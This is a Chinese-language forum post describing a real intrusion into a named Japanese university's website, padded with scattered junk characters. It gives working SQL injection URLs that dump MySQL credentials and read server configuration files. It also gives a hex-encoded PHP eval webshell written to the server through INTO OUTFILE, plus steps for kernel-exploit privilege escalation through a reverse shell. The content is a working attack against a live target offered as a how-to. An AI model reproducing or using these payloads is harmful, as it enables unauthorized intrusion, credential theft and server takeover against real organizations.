找回密码
 立即注册
查看: 3426|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
8 @# ]: o2 D/ m& O& V+ @
! \, K4 q# X4 a% a6 O' |http://www.doshisha.ac.jp/chs/news/index.php?i=-1
3 N1 w0 e! b1 z& z然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:+ @% G& |: c* q/ c3 ^& G, n: v
1 M( c% @* z; _+ F
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user. {6 q3 D+ ]' l

; l& _& k% E5 }: w4 D) \% C% P " A  X( x5 ~7 [$ U4 I  k
% w2 z1 T+ O$ y. Y" R, T0 g
//@@datadir为数据库文件路径
7 w+ S- P; b6 y; h2 \
& H8 ^, R- p8 H2 E# u. }- k/ P6 T. }9 p3 i% `* L) M4 W4 J$ m( D
//load_file读取网站容器apache的配置文件
8 A8 p. t$ v" B$ s ; \" G) m8 P/ X0 \. Q; q- f. S; P

# R# O; T" k( J; x0 R//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 % r* f- U# a; @( q
复制代码
; P6 y; j2 x$ M# b8 [% F1 w% T6 ?! L; v2 i% S+ l5 e5 L" d  |. O
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。1 \# ~2 S9 D- Q- e
, U- |( j  Y% W& L
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。7 y( {5 n3 N% Y& ~5 L- S( d
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
/ M$ P0 v- _3 \
9 v+ z' w/ ^+ e. u6 M3 Q4 ~: n前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
4 @7 u/ I- g7 ^* C, c: v如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
, H/ j( `  F4 I* R+ d
4 Z, @( F0 v2 k; }, _既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/6 u- ~; y* ^# h
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
3 \0 h  O4 |) j( s2 R3 M4 F2 X直接写一句话:
( ]& y+ j, }9 o* M$ ~4 E
& p5 X0 q+ ~/ @  |3 e" D7 c# x- C2 `http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#  |. P3 I9 K/ d! G4 U8 L

, l% O) j1 u  }: l ! v: H& Y/ f/ q
) g4 [: k4 ~' i4 _( J
//最后的#是为了闭合前面的语句 % @, B! j$ w! ?. H
9 f2 o5 c2 u$ p+ x  R
5 d( ?8 n# ]' }1 @$ f7 w
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E # E( ~6 c8 s2 j7 w

1 h- T+ B  l" I% R( F1 h1 t- c! V$ C
  `9 T. P- W+ I6 D: _为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
5 q$ n; c: H6 Q; J" X" \
8 n# g0 y" [. |1 G+ L! f( f& z9 M1 k5 J0 C
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句   _: h+ _$ R* r  `
4 e( b1 P6 S# Y# V' h# o3 T3 X

, N; a& b. j% ]/ s//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ) \6 ~+ X. c- z4 g, k8 K
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
8 F" w! K8 K# Z. {; U, F复制代码6 w, R7 y: d* {

3 v* O0 N9 T, w- G' xHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有) m7 y9 M9 H2 u5 U8 b6 D- a+ k: s9 l
通过上述注入语句,我们就得到了一句话木马:
' O- R3 d* E/ e7 H! ~; c" _, O8 p+ v4 e* [3 |; s5 F
( C) Q2 X3 G& F! \
: O9 R+ Z$ F$ d6 ?) E; |
( J% s/ T  {5 f, l& U- n

1 o& f; t9 M9 O& r& B# R4 T4 ~& Ahttp://www.doshisha.ac.jp/english/engnews_img/aa.php * K2 ^9 ~+ g2 T1 J; B
复制代码; n  o8 Z7 f) J7 W3 Q6 p2 ]

- e% T4 Y. F; E$ w9 U6 H' ?用菜刀连接,密码是cmd,如图所示:
7 a. B, N4 |' n  ?然后在命令提示行里看了一下,现在的权限是:; y& v: I) K4 P" Q% t  q

9 \5 u6 c+ U" ?- q, D9 v3 s/ E之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。. l3 o+ c' R0 r% y& r
好在赋权给这个文件夹不需要root,直接执行赋权语句:: V8 X3 h7 L3 L7 Z

6 G& b% W% Z: N5 s. e
" F! J( W: Z7 m. ~- D' `' W+ [* `# F; k8 t% W+ {; d
* o) a5 H. g& i, ~. w

+ W: ]6 x9 n6 B9 [chmod +x /tmp/
) c+ }5 `- @) R. a复制代码
4 ^, E  V0 @, O1 H4 h* V! C8 ~- z9 {2 k( w; a: E  n5 B
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
0 O( ]3 d( T8 [/ P- W1 @然后就查了一下内核版本:; w) j2 m0 x! s1 _

% t& ]9 ]. g( P3 a1 i7 n1 L8 q& a$ m
; C6 v& v/ a% d; G: g) d  p1 l, O& h- E2 u
5 |* D! O/ T' |- ~9 \3 p

8 P8 {3 X  n! x4 a, @uname-a
* h8 `5 V6 Q. R( }
# ], V; P& d2 U# s2 [& A8 }: M; k& W# t
//其实lsb_release -a
6 P8 k% k/ y2 A7 P+ c# q复制代码
% r1 T% t/ |5 W& a6 {' X1 V( }6 P
. J" V4 v0 ~( R% G  w; j: \如图所示:  F; A$ f7 w% Q$ o/ O
8 [: w6 U/ O0 x* P; s8 I
内核版本:linux mainz1 2.6.28-194.e15
) \1 q, n& z0 ]7 j2 f" D( j系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)5 L- V) w; ^  b
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
7 N7 b0 t7 Z- H- p
. r: r; v7 u. T0 V+ @( K然后给予执行权限
1 ]; _" v( C1 |2 f- ?一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样0 O( {* d3 [$ t- P$ G# ?' I
# W2 G: I0 }# K* v
! `0 }; K' g' V! u) I; R
$ R: {- ~5 A& d) @- Y& {; N- v

( `3 d1 t( @0 z8 R. J; s' }5 L* w$ T: H& E* ]) N
chmod +x /tmp/2.6.18-194
- M6 \0 Q) D% Z4 k1 G复制代码 然后直接执行!~
3 ]6 }& B' L( d# z+ i
& T' g& C+ Q* t) t% a1 m9 P总结:* H& c  n8 o- t, K& W0 S
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了8 l5 N2 Y+ D5 u- E3 X
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root3 M- ^2 _4 N4 S: b$ ]$ ~

9 b8 {/ E2 I* X) e9 \4 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表